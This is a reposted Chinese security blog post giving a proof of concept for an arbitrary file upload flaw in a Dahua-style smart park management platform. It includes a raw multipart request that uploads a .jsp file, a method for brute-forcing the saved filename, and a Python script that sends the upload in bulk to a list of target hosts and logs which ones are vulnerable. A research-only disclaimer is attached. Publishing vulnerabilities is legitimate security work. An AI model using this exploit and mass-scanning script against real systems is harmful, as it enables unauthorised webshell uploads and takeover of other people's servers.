某华智慧园区-任意文件上传PoC

admin 2023年7月15日13:49:12评论133 views字数 2638阅读8分47秒阅读模式
Max 是你安全路上的一盏明灯

前言

本公众号仅用作技术研究,利用此文提及到的知识造成的任何直接或者间接的后果及损失均由使用者本人负责,本人不为此承担任何责任本文中涉及的漏洞复现,均是自己搭建的本地靶场,禁止非法攻击未授权站点


漏洞描述

某华智慧园区综合管理平台存在漏洞,攻击者可以通过接口任意上传文件,导致系统被攻击与控制。

漏洞复现

第一个点

上传压缩包功能处,存在任意文件上传

某华智慧园区-任意文件上传PoC

文件保存路径为/facePic/yyyy-MM-dd/,例如:/facePic/2023-07-09/,文件名命名规则为时间戳+3位随机数+后缀,例如:20220509071212907并且在解压文件前就执行了文件写入操作。

某华智慧园区-任意文件上传PoC

所以我们可以直接传一个jsp文件

某华智慧园区-任意文件上传PoC

某华智慧园区-任意文件上传PoC

文件名可以通过爆破上传附近时间点的时间戳+100-999的3位随机数来获取。

第二个点

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69Host: xx.xx.xx.xxAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 243Connection: close
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTContent-Disposition: form-data; name="upload"; filename="1ndex.jsp"Content-Type: application/octet-streamContent-Transfer-Encoding: binary
123--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

上传路径:
http://ip:8314/upload/emap/society_new/ico...随机字符串_on.jsp
注:301重定向改变了端口

import argparseimport timeimport requests
parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')parser.add_argument('-f',help='Batch detection file name',type=str)args = parser.parse_args()file = args.f
def get_url(file):    with open('{}'.format(file),'r',encoding='utf-8') as f:        for i in f:            i = i.replace('n', '')            send_req("http://"+i)
def write_result(content):    f = open("result.txt", "a", encoding="UTF-8")    f.write('{}n'.format(content))    f.close()

def send_req(url_check):    print('{} runing Check'.format(url_check))    url = url_check + '/emap/devicePoint_addImgIco?hasSubsystem=true'    header = {        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',        'Content-Type':'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT',        'Accept':'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2',        'Connection':'close'    }    data = (        "--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTrn"        'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"rn'        "Content-Type: application/octet-streamrn"        "Content-Transfer-Encoding: binaryrn"        "rn"        "123rn"        "--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"    )    try:        requests.packages.urllib3.disable_warnings()        response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3).json()        if response['code'] == 1:            result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} n'.format(url_check,                                                            url_check + "/upload/emap/society_new/" + response['data'])            print(result)            write_result(result)        time.sleep(1)    except Exception as e:        print(e)        pass
if __name__ == '__main__':    if file is None:        print('请在当前目录下新建需要检测的url.txt')    else:        get_url(file)

工具

使用方法:

  1. 把需要检测的url放入txt文档中
  2. 执行 python 脚本 -f url.txt
  3. 检测出有任意文件上传漏洞的资产会保存在同目录result.txt文件中
某华智慧园区-任意文件上传PoC


原文始发于微信公众号(Max安全研究院):某华智慧园区-任意文件上传PoC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月15日13:49:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某华智慧园区-任意文件上传PoChttps://cn-sec.com/archives/1878956.html

发表评论

匿名网友 填写信息